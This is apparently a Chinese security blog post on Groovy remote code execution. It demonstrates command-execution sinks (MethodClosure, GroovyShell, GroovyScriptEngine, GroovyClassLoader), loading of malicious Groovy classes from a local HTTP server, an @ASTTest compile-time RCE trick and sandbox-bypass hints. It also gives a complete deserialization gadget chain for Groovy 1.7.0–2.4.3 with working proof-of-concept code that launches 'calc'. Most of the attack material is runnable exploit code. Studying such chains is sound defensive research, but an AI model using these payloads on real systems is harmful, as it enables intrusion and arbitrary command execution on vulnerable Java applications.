Groovy漏洞

Groovy 是一种基于 Java 平台的面向对象语言。

pom.xml:

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.15</version>
</dependency>

groovy也有自己的代码执行

Runtime.getRuntime().exec("calc")等价于"calc".execute()

MethodClosure

call执行doCall

受保护方法doCall反射执行命令

1
2
3
4
5
6
    public static void main(String[] args) throws Exception{
// MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
// mc.call("calc");
MethodClosure mc = new MethodClosure("calc","execute");
mc.call();
}

GroovyShell

GroovyShell有两种执行命令的方式

  • evaluate
  • parse->run

evaluate存在多个重载,支持从GroovyCodeSource,String,File,URI,Reader执行代码

File,URI,和二次封装的GroovyCodeSource懒得写了

1
2
3
4
5
6
7
    public static void main(String[] args) throws Exception
{
GroovyShell shell = new GroovyShell();
String content = "'calc'.execute()";
// shell.evaluate(content);//String evaluate
shell.evaluate(new StringReader(content));//Reader evaluate
}

GroovyScriptEngine

GroovyScriptEngine支持从URL获取groovy脚本

run方法如下,传入脚本名和执行脚本所带的参数

会先调用loadScriptByName从URL/String/Resource获取groovy脚本

并执行脚本

具体原理不用深究,看下用法:

Evil.groovy类:

1
2
3
4
5
class Evil {
Evil() {
"calc".execute()
}
}

比如指定系统ClassLoader去执行Evil.groovy类,无需编译,run时会自动编译

1
2
3
4
5
6
7
public class groovyScriptEngine {
public static void main(String[] args) throws Exception
{
GroovyScriptEngine gse = new GroovyScriptEngine(new URL[]{new URL("http://127.0.0.1:8888")},ClassLoader.getSystemClassLoader());
gse.run("Evil.groovy","");
}
}

GroovyScriptEvaluator

GroovyScriptEvaluator.evaluate调用GroovyShell.evaluate

套娃,就是修改了接收参数为ScriptSource子类,用ResourceScriptSource才能接收URL

payload:

1
2
3
4
5
6
7
ublic class groovyScriptEvaluator {
public static void main(String[] args) throws Exception
{
UrlResource urlResource = new UrlResource(new URL("http://127.0.0.1:8888/Evil.groovy"));
new GroovyScriptEvaluator().evaluate(new ResourceScriptSource(urlResource));
}
}

GroovyClassLoader

有loadClass和defineClass

GroovyClassLoader.parseClass支持从File,字符串加载groovy类

从代码上来看,parseClass是走了一个双亲委派的过程。definePackage 方法虽然没有显式调用父类加载器的方法,但在类加载过程中会遵循双亲委派机制

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws Exception
{
GroovyClassLoader gcl = new GroovyClassLoader();
Class clazz = gcl.parseClass("class Evil {\n" +
" static {\n" +
" \"calc\".execute()\n" +
" }\n" +
"}");
clazz.newInstance();
}

可惜需要实例化,单纯defineClass并没有什么用

不过在Groovy中,只加载不初始化也是有办法RCE的

AST注解

AST(Abstract Syntax Tree,抽象语法树)注解是 Groovy 提供的一种元编程工具,它允许你在编译时对代码进行修改或增强。这些注解在编译阶段被 Groovy 编译器识别并执行,因此可以在编译时对代码进行静态检查、代码生成或代码转换等操作。@groovy.transform.ASTTest 注解就是一个典型的例子,它在编译时执行指定的闭包,用于测试或验证代码的某些特性

AST注解的基本语法如下:

1
@ASTTransformationClass(value="fully.qualified.name.of.TransformationClass")

其中,@ASTTransformationClass 是 Groovy 提供的一个元注解,用于指定一个实现了 org.codehaus.groovy.transform.ASTTransformation 接口的类。这个类在编译时会被调用,对标注了该注解的代码进行处理。

常见的AST注解:

@CompileStatic:启用静态类型检查,提高性能。
@Delegate:将方法委托给另一个对象。
@Canonical:自动生成构造函数、equals、hashCode 和 toString 方法。
@TupleConstructor:自动生成一个包含所有属性的构造函数。
@ASTTest:在编译时执行指定的闭包,用于测试或验证代码。

利用ASTTest可以在编译时就执行代码,从而RCE

比如,我指定下面的Evil.groovy

1
2
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("calc")})
class Person{}

POC:

1
2
3
4
5
6
7
8
public class groovyClassLoader {
public static void main(String[] args) throws Exception
{
GroovyClassLoader gcl = new GroovyClassLoader();
Class clazz = gcl.parseClass("@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec(\"calc\")})\n" +
"class Person{}");
}
}

利用addClasspath+loadClass还可以手动加载http远程groovy类

addClasspath调用addURL->URLClassLoader.addURL把URL加入了ucp,熟悉的已经想到ucp是类加载的路径了

loadClass会从ucp寻找该类

复现:

建一个恶意groovy类

在该目录下开http服务,并用GroovyClassLoader加载

1
2
3
4
5
6
7
8
public class groovyClassLoader_URL {
public static void main(String[] args) throws Exception
{
GroovyClassLoader gcl = new GroovyClassLoader();
gcl.addClasspath("http://127.0.0.1:8888/");
gcl.loadClass("groovy_RuntimeEvil");
}
}

Groovy沙箱

maybe沙箱会限制evaluate call这些函数执行点

@AST和@Grab可能会绕过过滤,遇到了试一下吧,底层native的东西我也不会分析

Groovy反序列化

Groovy : 1.7.0-2.4.3

改下依赖到漏洞版本,利用链

1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

ConvertedClosure.invokeCustom调用了call方法

进而触发任意方法执行

加上ConvertedClosure继承了ConversionHandler

这是个典型的动态代理类

invoke方法里调用了invokeCustom

ConversionClosure随便代理一个类,由于call无参,只要类有无参方法即可。

最好是readObject有无参方法的,这样就能一步到位链起来。那就代理Map吧,然后用AnnotationInvocationHandler.readObject去调用Map.entrySet

注意这里AnnotationInvocationHandler并没有起到一个代理的作用

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class ConversionHandler {
public static void main(String[] args) throws Exception
{
MethodClosure mc = new MethodClosure("calc","execute");
ConvertedClosure closure = new ConvertedClosure(mc);
Object proxyConvertedClosure = Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},closure);//ConversionClosure代理Map
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annoconstructor.setAccessible(true);
Object annotationInvocationHandlerInstance = annoconstructor.newInstance(Target.class,null);
Field memberValuesField = annotationInvocationHandler.getDeclaredField("memberValues");
memberValuesField.setAccessible(true);
memberValuesField.set(annotationInvocationHandlerInstance,proxyConvertedClosure);
serialize(annotationInvocationHandlerInstance);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception
{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
{
java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}
}

挂个表

关键类 关键函数
MethodClosure call
groovy.lang.GroovyShell evaluate
groovy.util.GroovyScriptEngine run
GroovyScriptEvaluator evaluate
groovy.lang.GroovyClassLoader parseClass
javax.script.ScriptEngine eval
上一篇:
fastjson $ref调用getter
下一篇:
jackson 反序列化合集